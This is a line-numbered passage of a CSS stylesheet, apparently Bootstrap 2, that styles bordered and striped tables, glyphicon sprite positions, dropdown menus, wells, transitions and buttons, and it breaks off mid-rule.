| border-bottom-left-radius: 4px; 1662 | -moz-border-radius-bottomleft: 4px; 1663 | } 1664 | .table-bordered thead:last-child tr:last-child th:last-child, 1665 | .table-bordered tbody:last-child tr:last-child td:last-child, 1666 | .table-bordered tfoot:last-child tr:last-child td:last-child { 1667 | -webkit-border-bottom-right-radius: 4px; 1668 | border-bottom-right-radius: 4px; 1669 | -moz-border-radius-bottomright: 4px; 1670 | } 1671 | .table-bordered caption + thead tr:first-child th:first-child, 1672 | .table-bordered caption + tbody tr:first-child td:first-child, 1673 | .table-bordered colgroup + thead tr:first-child th:first-child, 1674 | .table-bordered colgroup + tbody tr:first-child td:first-child { 1675 | -webkit-border-top-left-radius: 4px; 1676 | border-top-left-radius: 4px; 1677 | -moz-border-radius-topleft: 4px; 1678 | } 1679 | .table-bordered caption + thead tr:first-child th:last-child, 1680 | .table-bordered caption + tbody tr:first-child td:last-child, 1681 | .table-bordered colgroup + thead tr:first-child th:last-child, 1682 | .table-bordered colgroup + tbody tr:first-child td:last-child { 1683 | -webkit-border-top-right-radius: 4px; 1684 | border-top-right-radius: 4px; 1685 | -moz-border-radius-topright: 4px; 1686 | } 1687 | .table-striped tbody tr:nth-child(odd) td, 1688 | .table-striped tbody tr:nth-child(odd) th { 1689 | background-color: #f9f9f9; 1690 | } 1691 | .table-hover tbody tr:hover td, 1692 | .table-hover tbody tr:hover th { 1693 | background-color: #f5f5f5; 1694 | } 1695 | table td[class*="span"], 1696 | table th[class*="span"], 1697 | .row-fluid table td[class*="span"], 1698 | .row-fluid table th[class*="span"] { 1699 | display: table-cell; 1700 | float: none; 1701 | margin-left: 0; 1702 | } 1703 | .table td.span1, 1704 | .table th.span1 { 1705 | float: none; 1706 | width: 44px; 1707 | margin-left: 0; 1708 | } 1709 | .table td.span2, 1710 | .table th.span2 { 1711 | float: none; 1712 | width: 124px; 1713 | margin-left: 0; 1714 | } 1715 | .table td.span3, 1716 | .table th.span3 { 1717 | float: none; 1718 | width: 204px; 1719 | margin-left: 0; 1720 | } 1721 | .table td.span4, 1722 | .table th.span4 { 1723 | float: none; 1724 | width: 284px; 1725 | margin-left: 0; 1726 | } 1727 | .table td.span5, 1728 | .table th.span5 { 1729 | float: none; 1730 | width: 364px; 1731 | margin-left: 0; 1732 | } 1733 | .table td.span6, 1734 | .table th.span6 { 1735 | float: none; 1736 | width: 444px; 1737 | margin-left: 0; 1738 | } 1739 | .table td.span7, 1740 | .table th.span7 { 1741 | float: none; 1742 | width: 524px; 1743 | margin-left: 0; 1744 | } 1745 | .table td.span8, 1746 | .table th.span8 { 1747 | float: none; 1748 | width: 604px; 1749 | margin-left: 0; 1750 | } 1751 | .table td.span9, 1752 | .table th.span9 { 1753 | float: none; 1754 | width: 684px; 1755 | margin-left: 0; 1756 | } 1757 | .table td.span10, 1758 | .table th.span10 { 1759 | float: none; 1760 | width: 764px; 1761 | margin-left: 0; 1762 | } 1763 | .table td.span11, 1764 | .table th.span11 { 1765 | float: none; 1766 | width: 844px; 1767 | margin-left: 0; 1768 | } 1769 | .table td.span12, 1770 | .table th.span12 { 1771 | float: none; 1772 | width: 924px; 1773 | margin-left: 0; 1774 | } 1775 | .table tbody tr.success td { 1776 | background-color: #dff0d8; 1777 | } 1778 | .table tbody tr.error td { 1779 | background-color: #f2dede; 1780 | } 1781 | .table tbody tr.warning td { 1782 | background-color: #fcf8e3; 1783 | } 1784 | .table tbody tr.info td { 1785 | background-color: #d9edf7; 1786 | } 1787 | .table-hover tbody tr.success:hover td { 1788 | background-color: #d0e9c6; 1789 | } 1790 | .table-hover tbody tr.error:hover td { 1791 | background-color: #ebcccc; 1792 | } 1793 | .table-hover tbody tr.warning:hover td { 1794 | background-color: #faf2cc; 1795 | } 1796 | .table-hover tbody tr.info:hover td { 1797 | background-color: #c4e3f3; 1798 | } 1799 | [class^="icon-"], 1800 | [class*=" icon-"] { 1801 | display: inline-block; 1802 | width: 14px; 1803 | height: 14px; 1804 | *margin-right: .3em; 1805 | line-height: 14px; 1806 | vertical-align: text-top; 1807 | background-image: url("../img/glyphicons-halflings.png"); 1808 | background-position: 14px 14px; 1809 | background-repeat: no-repeat; 1810 | margin-top: 1px; 1811 | } 1812 | /* White icons with optional class, or on hover/active states of certain elements */ 1813 | .icon-white, 1814 | .nav-pills > .active > a > [class^="icon-"], 1815 | .nav-pills > .active > a > [class*=" icon-"], 1816 | .nav-list > .active > a > [class^="icon-"], 1817 | .nav-list > .active > a > [class*=" icon-"], 1818 | .navbar-inverse .nav > .active > a > [class^="icon-"], 1819 | .navbar-inverse .nav > .active > a > [class*=" icon-"], 1820 | .dropdown-menu > li > a:hover > [class^="icon-"], 1821 | .dropdown-menu > li > a:hover > [class*=" icon-"], 1822 | .dropdown-menu > .active > a > [class^="icon-"], 1823 | .dropdown-menu > .active > a > [class*=" icon-"], 1824 | .dropdown-submenu:hover > a > [class^="icon-"], 1825 | .dropdown-submenu:hover > a > [class*=" icon-"] { 1826 | background-image: url("../img/glyphicons-halflings-white.png"); 1827 | } 1828 | .icon-glass { 1829 | background-position: 0 0; 1830 | } 1831 | .icon-music { 1832 | background-position: -24px 0; 1833 | } 1834 | .icon-search { 1835 | background-position: -48px 0; 1836 | } 1837 | .icon-envelope { 1838 | background-position: -72px 0; 1839 | } 1840 | .icon-heart { 1841 | background-position: -96px 0; 1842 | } 1843 | .icon-star { 1844 | background-position: -120px 0; 1845 | } 1846 | .icon-star-empty { 1847 | background-position: -144px 0; 1848 | } 1849 | .icon-user { 1850 | background-position: -168px 0; 1851 | } 1852 | .icon-film { 1853 | background-position: -192px 0; 1854 | } 1855 | .icon-th-large { 1856 | background-position: -216px 0; 1857 | } 1858 | .icon-th { 1859 | background-position: -240px 0; 1860 | } 1861 | .icon-th-list { 1862 | background-position: -264px 0; 1863 | } 1864 | .icon-ok { 1865 | background-position: -288px 0; 1866 | } 1867 | .icon-remove { 1868 | background-position: -312px 0; 1869 | } 1870 | .icon-zoom-in { 1871 | background-position: -336px 0; 1872 | } 1873 | .icon-zoom-out { 1874 | background-position: -360px 0; 1875 | } 1876 | .icon-off { 1877 | background-position: -384px 0; 1878 | } 1879 | .icon-signal { 1880 | background-position: -408px 0; 1881 | } 1882 | .icon-cog { 1883 | background-position: -432px 0; 1884 | } 1885 | .icon-trash { 1886 | background-position: -456px 0; 1887 | } 1888 | .icon-home { 1889 | background-position: 0 -24px; 1890 | } 1891 | .icon-file { 1892 | background-position: -24px -24px; 1893 | } 1894 | .icon-time { 1895 | background-position: -48px -24px; 1896 | } 1897 | .icon-road { 1898 | background-position: -72px -24px; 1899 | } 1900 | .icon-download-alt { 1901 | background-position: -96px -24px; 1902 | } 1903 | .icon-download { 1904 | background-position: -120px -24px; 1905 | } 1906 | .icon-upload { 1907 | background-position: -144px -24px; 1908 | } 1909 | .icon-inbox { 1910 | background-position: -168px -24px; 1911 | } 1912 | .icon-play-circle { 1913 | background-position: -192px -24px; 1914 | } 1915 | .icon-repeat { 1916 | background-position: -216px -24px; 1917 | } 1918 | .icon-refresh { 1919 | background-position: -240px -24px; 1920 | } 1921 | .icon-list-alt { 1922 | background-position: -264px -24px; 1923 | } 1924 | .icon-lock { 1925 | background-position: -287px -24px; 1926 | } 1927 | .icon-flag { 1928 | background-position: -312px -24px; 1929 | } 1930 | .icon-headphones { 1931 | background-position: -336px -24px; 1932 | } 1933 | .icon-volume-off { 1934 | background-position: -360px -24px; 1935 | } 1936 | .icon-volume-down { 1937 | background-position: -384px -24px; 1938 | } 1939 | .icon-volume-up { 1940 | background-position: -408px -24px; 1941 | } 1942 | .icon-qrcode { 1943 | background-position: -432px -24px; 1944 | } 1945 | .icon-barcode { 1946 | background-position: -456px -24px; 1947 | } 1948 | .icon-tag { 1949 | background-position: 0 -48px; 1950 | } 1951 | .icon-tags { 1952 | background-position: -25px -48px; 1953 | } 1954 | .icon-book { 1955 | background-position: -48px -48px; 1956 | } 1957 | .icon-bookmark { 1958 | background-position: -72px -48px; 1959 | } 1960 | .icon-print { 1961 | background-position: -96px -48px; 1962 | } 1963 | .icon-camera { 1964 | background-position: -120px -48px; 1965 | } 1966 | .icon-font { 1967 | background-position: -144px -48px; 1968 | } 1969 | .icon-bold { 1970 | background-position: -167px -48px; 1971 | } 1972 | .icon-italic { 1973 | background-position: -192px -48px; 1974 | } 1975 | .icon-text-height { 1976 | background-position: -216px -48px; 1977 | } 1978 | .icon-text-width { 1979 | background-position: -240px -48px; 1980 | } 1981 | .icon-align-left { 1982 | background-position: -264px -48px; 1983 | } 1984 | .icon-align-center { 1985 | background-position: -288px -48px; 1986 | } 1987 | .icon-align-right { 1988 | background-position: -312px -48px; 1989 | } 1990 | .icon-align-justify { 1991 | background-position: -336px -48px; 1992 | } 1993 | .icon-list { 1994 | background-position: -360px -48px; 1995 | } 1996 | .icon-indent-left { 1997 | background-position: -384px -48px; 1998 | } 1999 | .icon-indent-right { 2000 | background-position: -408px -48px; 2001 | } 2002 | .icon-facetime-video { 2003 | background-position: -432px -48px; 2004 | } 2005 | .icon-picture { 2006 | background-position: -456px -48px; 2007 | } 2008 | .icon-pencil { 2009 | background-position: 0 -72px; 2010 | } 2011 | .icon-map-marker { 2012 | background-position: -24px -72px; 2013 | } 2014 | .icon-adjust { 2015 | background-position: -48px -72px; 2016 | } 2017 | .icon-tint { 2018 | background-position: -72px -72px; 2019 | } 2020 | .icon-edit { 2021 | background-position: -96px -72px; 2022 | } 2023 | .icon-share { 2024 | background-position: -120px -72px; 2025 | } 2026 | .icon-check { 2027 | background-position: -144px -72px; 2028 | } 2029 | .icon-move { 2030 | background-position: -168px -72px; 2031 | } 2032 | .icon-step-backward { 2033 | background-position: -192px -72px; 2034 | } 2035 | .icon-fast-backward { 2036 | background-position: -216px -72px; 2037 | } 2038 | .icon-backward { 2039 | background-position: -240px -72px; 2040 | } 2041 | .icon-play { 2042 | background-position: -264px -72px; 2043 | } 2044 | .icon-pause { 2045 | background-position: -288px -72px; 2046 | } 2047 | .icon-stop { 2048 | background-position: -312px -72px; 2049 | } 2050 | .icon-forward { 2051 | background-position: -336px -72px; 2052 | } 2053 | .icon-fast-forward { 2054 | background-position: -360px -72px; 2055 | } 2056 | .icon-step-forward { 2057 | background-position: -384px -72px; 2058 | } 2059 | .icon-eject { 2060 | background-position: -408px -72px; 2061 | } 2062 | .icon-chevron-left { 2063 | background-position: -432px -72px; 2064 | } 2065 | .icon-chevron-right { 2066 | background-position: -456px -72px; 2067 | } 2068 | .icon-plus-sign { 2069 | background-position: 0 -96px; 2070 | } 2071 | .icon-minus-sign { 2072 | background-position: -24px -96px; 2073 | } 2074 | .icon-remove-sign { 2075 | background-position: -48px -96px; 2076 | } 2077 | .icon-ok-sign { 2078 | background-position: -72px -96px; 2079 | } 2080 | .icon-question-sign { 2081 | background-position: -96px -96px; 2082 | } 2083 | .icon-info-sign { 2084 | background-position: -120px -96px; 2085 | } 2086 | .icon-screenshot { 2087 | background-position: -144px -96px; 2088 | } 2089 | .icon-remove-circle { 2090 | background-position: -168px -96px; 2091 | } 2092 | .icon-ok-circle { 2093 | background-position: -192px -96px; 2094 | } 2095 | .icon-ban-circle { 2096 | background-position: -216px -96px; 2097 | } 2098 | .icon-arrow-left { 2099 | background-position: -240px -96px; 2100 | } 2101 | .icon-arrow-right { 2102 | background-position: -264px -96px; 2103 | } 2104 | .icon-arrow-up { 2105 | background-position: -289px -96px; 2106 | } 2107 | .icon-arrow-down { 2108 | background-position: -312px -96px; 2109 | } 2110 | .icon-share-alt { 2111 | background-position: -336px -96px; 2112 | } 2113 | .icon-resize-full { 2114 | background-position: -360px -96px; 2115 | } 2116 | .icon-resize-small { 2117 | background-position: -384px -96px; 2118 | } 2119 | .icon-plus { 2120 | background-position: -408px -96px; 2121 | } 2122 | .icon-minus { 2123 | background-position: -433px -96px; 2124 | } 2125 | .icon-asterisk { 2126 | background-position: -456px -96px; 2127 | } 2128 | .icon-exclamation-sign { 2129 | background-position: 0 -120px; 2130 | } 2131 | .icon-gift { 2132 | background-position: -24px -120px; 2133 | } 2134 | .icon-leaf { 2135 | background-position: -48px -120px; 2136 | } 2137 | .icon-fire { 2138 | background-position: -72px -120px; 2139 | } 2140 | .icon-eye-open { 2141 | background-position: -96px -120px; 2142 | } 2143 | .icon-eye-close { 2144 | background-position: -120px -120px; 2145 | } 2146 | .icon-warning-sign { 2147 | background-position: -144px -120px; 2148 | } 2149 | .icon-plane { 2150 | background-position: -168px -120px; 2151 | } 2152 | .icon-calendar { 2153 | background-position: -192px -120px; 2154 | } 2155 | .icon-random { 2156 | background-position: -216px -120px; 2157 | width: 16px; 2158 | } 2159 | .icon-comment { 2160 | background-position: -240px -120px; 2161 | } 2162 | .icon-magnet { 2163 | background-position: -264px -120px; 2164 | } 2165 | .icon-chevron-up { 2166 | background-position: -288px -120px; 2167 | } 2168 | .icon-chevron-down { 2169 | background-position: -313px -119px; 2170 | } 2171 | .icon-retweet { 2172 | background-position: -336px -120px; 2173 | } 2174 | .icon-shopping-cart { 2175 | background-position: -360px -120px; 2176 | } 2177 | .icon-folder-close { 2178 | background-position: -384px -120px; 2179 | } 2180 | .icon-folder-open { 2181 | background-position: -408px -120px; 2182 | width: 16px; 2183 | } 2184 | .icon-resize-vertical { 2185 | background-position: -432px -119px; 2186 | } 2187 | .icon-resize-horizontal { 2188 | background-position: -456px -118px; 2189 | } 2190 | .icon-hdd { 2191 | background-position: 0 -144px; 2192 | } 2193 | .icon-bullhorn { 2194 | background-position: -24px -144px; 2195 | } 2196 | .icon-bell { 2197 | background-position: -48px -144px; 2198 | } 2199 | .icon-certificate { 2200 | background-position: -72px -144px; 2201 | } 2202 | .icon-thumbs-up { 2203 | background-position: -96px -144px; 2204 | } 2205 | .icon-thumbs-down { 2206 | background-position: -120px -144px; 2207 | } 2208 | .icon-hand-right { 2209 | background-position: -144px -144px; 2210 | } 2211 | .icon-hand-left { 2212 | background-position: -168px -144px; 2213 | } 2214 | .icon-hand-up { 2215 | background-position: -192px -144px; 2216 | } 2217 | .icon-hand-down { 2218 | background-position: -216px -144px; 2219 | } 2220 | .icon-circle-arrow-right { 2221 | background-position: -240px -144px; 2222 | } 2223 | .icon-circle-arrow-left { 2224 | background-position: -264px -144px; 2225 | } 2226 | .icon-circle-arrow-up { 2227 | background-position: -288px -144px; 2228 | } 2229 | .icon-circle-arrow-down { 2230 | background-position: -312px -144px; 2231 | } 2232 | .icon-globe { 2233 | background-position: -336px -144px; 2234 | } 2235 | .icon-wrench { 2236 | background-position: -360px -144px; 2237 | } 2238 | .icon-tasks { 2239 | background-position: -384px -144px; 2240 | } 2241 | .icon-filter { 2242 | background-position: -408px -144px; 2243 | } 2244 | .icon-briefcase { 2245 | background-position: -432px -144px; 2246 | } 2247 | .icon-fullscreen { 2248 | background-position: -456px -144px; 2249 | } 2250 | .dropup, 2251 | .dropdown { 2252 | position: relative; 2253 | } 2254 | .dropdown-toggle { 2255 | *margin-bottom: -3px; 2256 | } 2257 | .dropdown-toggle:active, 2258 | .open .dropdown-toggle { 2259 | outline: 0; 2260 | } 2261 | .caret { 2262 | display: inline-block; 2263 | width: 0; 2264 | height: 0; 2265 | vertical-align: top; 2266 | border-top: 4px solid #000000; 2267 | border-right: 4px solid transparent; 2268 | border-left: 4px solid transparent; 2269 | content: ""; 2270 | } 2271 | .dropdown .caret { 2272 | margin-top: 8px; 2273 | margin-left: 2px; 2274 | } 2275 | .dropdown-menu { 2276 | position: absolute; 2277 | top: 100%; 2278 | left: 0; 2279 | z-index: 1000; 2280 | display: none; 2281 | float: left; 2282 | min-width: 160px; 2283 | padding: 5px 0; 2284 | margin: 2px 0 0; 2285 | list-style: none; 2286 | background-color: #ffffff; 2287 | border: 1px solid #ccc; 2288 | border: 1px solid rgba(0, 0, 0, 0.2); 2289 | *border-right-width: 2px; 2290 | *border-bottom-width: 2px; 2291 | -webkit-border-radius: 6px; 2292 | -moz-border-radius: 6px; 2293 | border-radius: 6px; 2294 | -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); 2295 | -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); 2296 | box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); 2297 | -webkit-background-clip: padding-box; 2298 | -moz-background-clip: padding; 2299 | background-clip: padding-box; 2300 | } 2301 | .dropdown-menu.pull-right { 2302 | right: 0; 2303 | left: auto; 2304 | } 2305 | .dropdown-menu .divider { 2306 | *width: 100%; 2307 | height: 1px; 2308 | margin: 9px 1px; 2309 | *margin: -5px 0 5px; 2310 | overflow: hidden; 2311 | background-color: #e5e5e5; 2312 | border-bottom: 1px solid #ffffff; 2313 | } 2314 | .dropdown-menu li > a { 2315 | display: block; 2316 | padding: 3px 20px; 2317 | clear: both; 2318 | font-weight: normal; 2319 | line-height: 20px; 2320 | color: #333333; 2321 | white-space: nowrap; 2322 | } 2323 | .dropdown-menu li > a:hover, 2324 | .dropdown-menu li > a:focus, 2325 | .dropdown-submenu:hover > a { 2326 | text-decoration: none; 2327 | color: #ffffff; 2328 | background-color: #0081c2; 2329 | background-image: -moz-linear-gradient(top, #0088cc, #0077b3); 2330 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0077b3)); 2331 | background-image: -webkit-linear-gradient(top, #0088cc, #0077b3); 2332 | background-image: -o-linear-gradient(top, #0088cc, #0077b3); 2333 | background-image: linear-gradient(to bottom, #0088cc, #0077b3); 2334 | background-repeat: repeat-x; 2335 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0077b3', GradientType=0); 2336 | } 2337 | .dropdown-menu .active > a, 2338 | .dropdown-menu .active > a:hover { 2339 | color: #333333; 2340 | text-decoration: none; 2341 | outline: 0; 2342 | background-color: #0081c2; 2343 | background-image: -moz-linear-gradient(top, #0088cc, #0077b3); 2344 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0077b3)); 2345 | background-image: -webkit-linear-gradient(top, #0088cc, #0077b3); 2346 | background-image: -o-linear-gradient(top, #0088cc, #0077b3); 2347 | background-image: linear-gradient(to bottom, #0088cc, #0077b3); 2348 | background-repeat: repeat-x; 2349 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0077b3', GradientType=0); 2350 | } 2351 | .dropdown-menu .disabled > a, 2352 | .dropdown-menu .disabled > a:hover { 2353 | color: #999999; 2354 | } 2355 | .dropdown-menu .disabled > a:hover { 2356 | text-decoration: none; 2357 | background-color: transparent; 2358 | background-image: none; 2359 | cursor: default; 2360 | } 2361 | .open { 2362 | *z-index: 1000; 2363 | } 2364 | .open > .dropdown-menu { 2365 | display: block; 2366 | } 2367 | .pull-right > .dropdown-menu { 2368 | right: 0; 2369 | left: auto; 2370 | } 2371 | .dropup .caret, 2372 | .navbar-fixed-bottom .dropdown .caret { 2373 | border-top: 0; 2374 | border-bottom: 4px solid #000000; 2375 | content: ""; 2376 | } 2377 | .dropup .dropdown-menu, 2378 | .navbar-fixed-bottom .dropdown .dropdown-menu { 2379 | top: auto; 2380 | bottom: 100%; 2381 | margin-bottom: 1px; 2382 | } 2383 | .dropdown-submenu { 2384 | position: relative; 2385 | } 2386 | .dropdown-submenu > .dropdown-menu { 2387 | top: 0; 2388 | left: 100%; 2389 | margin-top: -6px; 2390 | margin-left: -1px; 2391 | -webkit-border-radius: 0 6px 6px 6px; 2392 | -moz-border-radius: 0 6px 6px 6px; 2393 | border-radius: 0 6px 6px 6px; 2394 | } 2395 | .dropdown-submenu:hover > .dropdown-menu { 2396 | display: block; 2397 | } 2398 | .dropup .dropdown-submenu > .dropdown-menu { 2399 | top: auto; 2400 | bottom: 0; 2401 | margin-top: 0; 2402 | margin-bottom: -2px; 2403 | -webkit-border-radius: 5px 5px 5px 0; 2404 | -moz-border-radius: 5px 5px 5px 0; 2405 | border-radius: 5px 5px 5px 0; 2406 | } 2407 | .dropdown-submenu > a:after { 2408 | display: block; 2409 | content: " "; 2410 | float: right; 2411 | width: 0; 2412 | height: 0; 2413 | border-color: transparent; 2414 | border-style: solid; 2415 | border-width: 5px 0 5px 5px; 2416 | border-left-color: #cccccc; 2417 | margin-top: 5px; 2418 | margin-right: -10px; 2419 | } 2420 | .dropdown-submenu:hover > a:after { 2421 | border-left-color: #ffffff; 2422 | } 2423 | .dropdown-submenu.pull-left { 2424 | float: none; 2425 | } 2426 | .dropdown-submenu.pull-left > .dropdown-menu { 2427 | left: -100%; 2428 | margin-left: 10px; 2429 | -webkit-border-radius: 6px 0 6px 6px; 2430 | -moz-border-radius: 6px 0 6px 6px; 2431 | border-radius: 6px 0 6px 6px; 2432 | } 2433 | .dropdown .dropdown-menu .nav-header { 2434 | padding-left: 20px; 2435 | padding-right: 20px; 2436 | } 2437 | .typeahead { 2438 | margin-top: 2px; 2439 | -webkit-border-radius: 4px; 2440 | -moz-border-radius: 4px; 2441 | border-radius: 4px; 2442 | } 2443 | .well { 2444 | min-height: 20px; 2445 | padding: 19px; 2446 | margin-bottom: 20px; 2447 | background-color: #f5f5f5; 2448 | border: 1px solid #e3e3e3; 2449 | -webkit-border-radius: 4px; 2450 | -moz-border-radius: 4px; 2451 | border-radius: 4px; 2452 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05); 2453 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05); 2454 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05); 2455 | } 2456 | .well blockquote { 2457 | border-color: #ddd; 2458 | border-color: rgba(0, 0, 0, 0.15); 2459 | } 2460 | .well-large { 2461 | padding: 24px; 2462 | -webkit-border-radius: 6px; 2463 | -moz-border-radius: 6px; 2464 | border-radius: 6px; 2465 | } 2466 | .well-small { 2467 | padding: 9px; 2468 | -webkit-border-radius: 3px; 2469 | -moz-border-radius: 3px; 2470 | border-radius: 3px; 2471 | } 2472 | .fade { 2473 | opacity: 0; 2474 | -webkit-transition: opacity 0.15s linear; 2475 | -moz-transition: opacity 0.15s linear; 2476 | -o-transition: opacity 0.15s linear; 2477 | transition: opacity 0.15s linear; 2478 | } 2479 | .fade.in { 2480 | opacity: 1; 2481 | } 2482 | .collapse { 2483 | position: relative; 2484 | height: 0; 2485 | overflow: hidden; 2486 | -webkit-transition: height 0.35s ease; 2487 | -moz-transition: height 0.35s ease; 2488 | -o-transition: height 0.35s ease; 2489 | transition: height 0.35s ease; 2490 | } 2491 | .collapse.in { 2492 | height: auto; 2493 | } 2494 | .close { 2495 | float: right; 2496 | font-size: 20px; 2497 | font-weight: bold; 2498 | line-height: 20px; 2499 | color: #000000; 2500 | text-shadow: 0 1px 0 #ffffff; 2501 | opacity: 0.2; 2502 | filter: alpha(opacity=20); 2503 | } 2504 | .close:hover { 2505 | color: #000000; 2506 | text-decoration: none; 2507 | cursor: pointer; 2508 | opacity: 0.4; 2509 | filter: alpha(opacity=40); 2510 | } 2511 | button.close { 2512 | padding: 0; 2513 | cursor: pointer; 2514 | background: transparent; 2515 | border: 0; 2516 | -webkit-appearance: none; 2517 | } 2518 | .btn { 2519 | display: inline-block; 2520 | *display: inline; 2521 | /* IE7 inline-block hack */ 2522 | 2523 | *zoom: 1; 2524 | padding: 4px 12px; 2525 | margin-bottom: 0; 2526 | font-size: 14px; 2527 | line-height: 20px; 2528 | *line-height: 20px; 2529 | text-align: center; 2530 | vertical-align: middle; 2531 | cursor: pointer; 2532 | color: #333333; 2533 | text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75); 2534 | background-color: #f5f5f5; 2535 | background-image: -moz-linear-gradient(top, #ffffff, #e6e6e6); 2536 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6)); 2537 | background-image: -webkit-linear-gradient(top, #ffffff, #e6e6e6); 2538 | background-image: -o-linear-gradient(top, #ffffff, #e6e6e6); 2539 | background-image: linear-gradient(to bottom, #ffffff, #e6e6e6); 2540 | background-repeat: repeat-x; 2541 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe6e6e6', GradientType=0); 2542 | border-color: #e6e6e6 #e6e6e6 #bfbfbf; 2543 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 2544 | *background-color: #e6e6e6; 2545 | /* Darken IE7 buttons by default so they stand out more given they won't have borders */ 2546 | 2547 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 2548 | border: 1px solid #bbbbbb; 2549 | *border: 0; 2550 | border-bottom-color: #a2a2a2; 2551 | -webkit-border-radius: 4px; 2552 | -moz-border-radius: 4px; 2553 | border-radius: 4px; 2554 | *margin-left: .3em; 2555 | -webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05); 2556 | -moz-box-shadow: inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05); 2557 | box-shadow: inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05); 2558 | } 2559 | .btn:hover, 2560 | .btn:active, 2561 | .btn.active, 2562 | .btn.disabled, 2563 | .btn[disabled] { 2564 | color: #333333; 2565 | background-color: #e6e6e6; 2566 | *background-color: #d9d9d9; 2567 | } 2568 | .btn:active, 2569 | .btn.active { 2570 | background-color: #cccccc \9; 2571 | } 2572 | .btn:first-child { 2573 | *margin-left: 0; 2574 | } 2575 | .btn:hover { 2576 | color: #333333; 2577 | text-decoration: none; 2578 | background-color: #e6e6e6; 2579 | *background-color: #d9d9d9; 2580 | /* Buttons in IE7 don't get borders, so darken on hover */ 2581 | 2582 | background-position: 0 -15px; 2583 | -webkit-transition: background-position 0.1s linear; 2584 | -moz-transition: background-position 0.1s linear; 2585 | -o-transition: background-position 0.1s linear; 2586 | transition: background-position 0.1s linear; 2587 | } 2588 | .btn:focus { 2589 | outline: thin dotted #333; 2590 | outline: 5px auto -webkit-focus-ring-color; 2591 | outline-offset: -2px; 2592 | } 2593 | .btn.active, 2594 | .btn:active { 2595 | background-color: #e6e6e6; 2596 | background-color: #d9d9d9 \9; 2597 | background-image: none; 2598 | outline: 0; 2599 | -webkit-box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05); 2600 | -moz-box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05); 2601 | box-shadow: inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05); 2602 | } 2603 | .btn.disabled, 2604 | .btn[disabled] { 2605 | cursor: default; 2606 | background-color: #e6e6e6; 2607 | background-image: none; 2608 | opacity: 0.65; 2609 | filter: alpha(opacity=65); 2610 | -webkit-box-shadow: none; 2611 | -moz-box-shadow: none; 2612 | box-shadow: none; 2613 | } 2614 | .btn-large { 2615 | padding: 11px 19px; 2616 | font-size: 17.5px; 2617 | -webkit-border-radius: 6px; 2618 | -moz-border-radius: 6px; 2619 | border-radius: 6px; 2620 | } 2621 | .btn-large [class^="icon-"], 2622 | .btn-large [class*=" icon-"] { 2623 | margin-top: 2px; 2624 | } 2625 | .btn-small { 2626 | padding: 2px 10px; 2627 | font-size: 11.9px; 2628 | -webkit-border-radius: 3px; 2629 | -moz-border-radius: 3px; 2630 | border-radius: 3px; 2631 | } 2632 | .btn-small [class^="icon-"], 2633 | .btn-small [class*=" icon-"] { 2634 | margin-top: 0; 2635 | } 2636 | .btn-mini { 2637 | padding: 1px 6px; 2638 | font-size: 10.5px; 2639 | -webkit-border-radius: 3px; 2640 | -moz-border-radius: 3px; 2641 | border-radius: 3px; 2642 | } 2643 | .btn-block { 2644 | display: block; 2645 | width: 100%; 2646 | padding-left: 0; 2647 | padding-right: 0; 2648 | -webkit-box-sizing: border-box; 2649 | -moz-box-sizing: border-box; 2650 | box-sizing: border-box; 2651 | } 2652 | .btn-block + .btn-block { 2653 | margin-top: 5px; 2654 | } 2655 | input[type="submit"].btn-block, 2656 | input[type="reset"].btn-block, 2657 | input[type="button"].btn-block { 2658 | width: 100%; 2659 | } 2660 | .btn-primary.active, 2661 | .btn-warning.active, 2662 | .btn-danger.active, 2663 | .btn-success.active, 2664 | .btn-info.active, 2665 | .btn-inverse.active { 2666 | color: rgba(255, 255, 255, 0.75); 2667 | } 2668 | .btn { 2669 | border-color: #c5c5c5; 2670 | border-color: rgba(0, 0, 0, 0.15) rgba(0, 0, 0, 0.15) rgba(0, 0, 0, 0.25); 2671 | } 2672 | .btn-primary { 2673 | color: #ffffff; 2674 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); 2675 | background-color: #006dcc; 2676 | background-image: -moz-linear-gradient(top, #0088cc, #0044cc); 2677 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc)); 2678 | background-image: -webkit-linear-gradient(top, #0088cc, #0044cc); 2679 | background-image: -o-linear-gradient(top, #0088cc, #0044cc); 2680 | background-image: linear-gradient(to bottom, #0088cc, #0044cc); 2681 | background-repeat: repeat-x; 2682 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0044cc', GradientType=0); 2683 | border-color: #0044cc #0044cc #002a80; 2684 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); 2685 | *background-color: #0044cc; 2686 | /* Darken IE7 buttons by default so they stand out more given they won't have borders */ 2687 | 2688 | filter: progid:DXImageTransform.Microsoft.gradient(enabled = false); 2689 | } 2690 | .btn-primary:hover, 2691 | .btn-primary:active, 2692 | .btn-primary.active, 2693 | .btn-primary.disabled, 2694 | .btn-primary[disabled] { 2695 | color: 